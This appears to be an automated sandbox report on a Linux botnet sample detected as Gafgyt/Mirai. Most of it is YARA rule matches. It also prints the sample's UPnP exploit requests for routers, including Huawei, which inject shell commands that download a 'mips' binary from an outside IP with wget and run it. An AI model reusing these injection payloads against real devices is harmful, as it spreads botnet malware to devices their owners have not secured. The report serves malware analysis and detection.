HTTP traffic detected: POST /picsdesc.xml HTTP/1.1Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: /User-Agent: Hello-WorldConnection: keep-aliveData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 63 64 20 2f 76 61 72 2f 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 2f 6d 69 70 73 3b 20 63 68 6d 6f 64 20 2b 78 20 6d 69 70 73 3b 20 2e 2f 6d 69 70 73 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://104.248.167.251/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Source: na.elf	String found in binary or memory: http://104.248.167.251/mips;
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//

System Summary

Malicious sample detected (through community Yara rule)

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_e0673a90 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_656bf077 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_3fe3c668 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_637f2c04 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 Author: unknown
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 Author: unknown
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 Author: unknown
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 Author: unknown
Source: Process Memory Space: na.elf PID: 5832, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: na.elf PID: 5833, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: na.elf PID: 5838, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample

Name: vseattack

Source: na.elf	ELF static info symbol of initial sample: huawei_scanner.c
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_fake_time
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_get_random_ip
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_recv_strip_null
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_rsck
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_rsck_out
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_init
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_kill
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_pid
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_rawpkt
Source: na.elf	ELF static info symbol of initial sample: huaweiscanner_setup_connection
Source: na.elf	ELF static info symbol of initial sample: realtek_scanner.c
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_fake_time
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_get_random_ip
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_recv_strip_null
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_rsck
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_rsck_out
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_scanner_init
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_scanner_kill
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_scanner_pid
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_scanner_rawpkt
Source: na.elf	ELF static info symbol of initial sample: realtekscanner_setup_connection
Source: na.elf	ELF static info symbol of initial sample: scanner_init
Source: na.elf	ELF static info symbol of initial sample: scanner_kill
Source: na.elf	ELF static info symbol of initial sample: scanner_pid
Source: na.elf	ELF static info symbol of initial sample: scanner_rawpkt
Source: na.elf	ELF static info symbol of initial sample: telnet_scanner.c

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_e0673a90 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a, id = e0673a90-165e-4347-a965-e8d14fdf684b, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6, id = d0c57a2e-c10c-436c-be13-50a269326cf2, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_656bf077 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1, id = 656bf077-ca0c-4d28-9daa-eb6baafaf467, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
